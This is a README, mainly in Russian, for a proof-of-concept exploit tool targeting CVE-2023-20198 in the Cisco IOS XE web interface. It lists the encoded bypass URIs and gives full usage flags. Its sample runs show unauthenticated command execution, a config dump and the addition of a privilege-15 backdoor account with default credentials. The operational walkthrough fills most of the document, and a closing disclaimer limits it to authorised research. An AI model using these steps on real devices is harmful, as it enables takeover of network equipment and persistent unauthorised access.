
CVE-2023-20198 Exploit PoC
Эксплойт PoC для CVE-2023-20198
CVE-2023-20198 характеризуется некорректной проверкой пути для обхода фильтрации Nginx и доступа к веб-конечной точке webui_wsma_http без необходимости аутентификации.
Обходя аутентификацию к конечной точке, злоумышленник может выполнять произвольные команды Cisco IOS или вносить изменения конфигурации с привилегиями уровня 15.
Расследование Cisco активной эксплуатации ранее нераскрытой уязвимости показало, что злоумышленники впервые использовали CVE-2023-20198 для добавления нового пользователя с уровнем привилегий 15. Дальнейшие атаки включали эксплуатацию CVE-2023-20273 для повышения привилегий до пользователя root базовой ОС Linux, что облегчало внедрение.
Этот PoC использует CVE-2023-20198 для обращения к двум различным конечным точкам XML SOAP:
Проверка уязвимости, конфигурация и опции выполнения команд направлены на конечную точку SOAP cisco:wsma-exec для вставки команд в тег элемента execCLI.
Опция добавления пользователя нацелена на конечную точку SOAP cisco:wsma-config для внесения изменения конфигурации и добавления учётной записи с уровнем привилегий 15. Эту конечную точку можно [зло]употребить для внесения других изменений конфигурации, но это выходит за рамки данного PoC.
Злоупотребление конечной точкой SOAP cisco:wsma-exec было взято из шаблона nuclei
Злоупотребление конечной точкой SOAP cisco:wsma-config было взято из PoC horizon3ai
Примечание: я не проводил никаких оригинальных исследований или разработки PoC для данной CVE. Смотрите раздел с источниками для указания авторства.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-uri vulnerableURI The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Для проверки CVE-2023-20198 параметр -c попытается использовать уязвимость для выполнения uname -a
Пример:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
Опция -g выполняет sh run для извлечения текущей конфигурации
Пример:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Произвольные команды Cisco IOS можно выполнять с помощью опции -e.
Следует проявлять крайнюю осторожность при использовании этой опции для внесения изменений конфигурации. Валидация входных данных отсутствует, и изменения применяются немедленно к текущей конфигурации.
Пример:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
Опция -a используется для создания новой учётной записи с уровнем привилегий 15, при необходимости можно указать имя учётной записи и пароль с помощью -u и -p соответственно.
Пример:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
Опция -d используется для удаления учётной записи с устройства и учитывает имя пользователя, указанное с -u.
Следует проявлять осторожность, чтобы не удалить легитимную учётную запись.
Эта опция была добавлена для случаев, когда невозможно получить доступ к оболочке/веб-интерфейсу скомпрометированного устройства Cisco. Было замечено, что добавление пользователя с уровнем привилегий 15 не предоставляет доступ к веб-интерфейсу и может привести к оставлению артефактов эксплуатации на хосте.
Консультация Cisco
Исследование CVE-2023-20198 от horizon3ai
PoC CVE-2023-20198 от horizon3ai
Шаблон nuclei для CVE-2023-20198 (Авторы: iamnoooob, rootxharsh, pdresearch)
PoC CVE-2023-20273 от LeakIX
Код, содержащийся в этом проекте, предназначен только для исследований и использования в системах, на которые пользователь имеет явное разрешение.
Автор этого проекта не несёт ответственности за неправомерное использование программного обеспечения.
Используйте ответственно и не будьте злом.